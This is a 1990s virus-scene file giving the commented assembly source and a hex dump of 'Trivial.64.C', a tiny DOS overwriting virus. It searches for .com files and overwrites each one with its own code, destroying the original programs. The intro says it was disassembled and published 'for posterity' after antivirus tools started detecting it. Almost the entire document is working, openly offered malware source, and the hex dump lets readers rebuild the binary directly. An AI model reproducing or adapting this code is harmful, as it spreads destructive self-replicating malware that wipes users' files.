; [Trivial.64.C] (c) 1995 Wraith/DHA            Disassembled by Gothmog/[DHA]
;
; Seems I had deleted the source code for this virus, thinking nothing of it,
; until I noticed that F-Protect v2.26 and Dr. Solomon's FindVirus v7.69 have
; started detecting it as a unique virus. Well, friend Wraith, seems you have
; your fifteen minutes (seconds, probably, with this virus) of fame...
;
; In any case, I hauled out Sourcer, disassembled the .com file, and threw in
; a few comments, for posterity's sake. Even the lamest of the lame should be
; able to understand this code, if not, shoot yourself. For those of you that
; are without a `working' assembler (Borland's Turbo Assembler v4.00 or v5.00
; should work fine), a hex dump follows at the conclusion of the source.

.model tiny
.code
		org	100h

virus_start:
                mov     ah, 4Eh                 ; ah = 4Eh, find first file
                mov     dx, offset file_mask    ; points to *.com
                int     21h                     ; do it!

find_file:
                jc      exit_virus              ; exit if no files found

                mov     ax, 3D01h               ; open file for writing
                mov     dx, 09Eh                ; location of filename in psp
                int     21h                     ; do it!

                xchg    bx, ax                  ; put filehandle in bx

                mov     ah, 40h                 ; write file from handle bx
                                                ; number of bytes to write

                mov     cx, virus_end - virus_start

                mov     dx, offset virus_start  ; start writing from cs:100h
                int     21h                     ; write the bitch!

                mov     ah, 3Eh                 ; ah = 3Eh, close file
                int     21h                     ; do it!

                mov     ah, 4Fh                 ; ah = 4Fh, find next file
                int     21h                     ; do it!

                jmp     find_file

exit_virus:
                int     20h                     ; we're outta here...

virus_name      db      '[TRiV]', 00h
virus_author    db      'Wraith/DHA', 00h

file_mask       db      '*.com', 00h

virus_end       equ     $

        end     virus_start

; And finally, the hex dump:
;
; 0100  B4 4E BA 3A 01 CD 21 72 1D B8 01 3D BA 9E 00 CD  .N.:..!r...=....
; 0110  21 93 B4 40 B9 40 00 BA 00 01 CD 21 B4 3E CD 21  !..@.@.....!.>.!
; 0120  B4 4F CD 21 EB E1 CD 20 5B 54 52 69 56 5D 00 57  .O.!... [TRiV].W
; 0130  72 61 69 74 68 2F 44 48 41 00 2A 2E 63 6F 6D 00  raith/DHA.*.com.
;
; ============================================================[ code ends ]==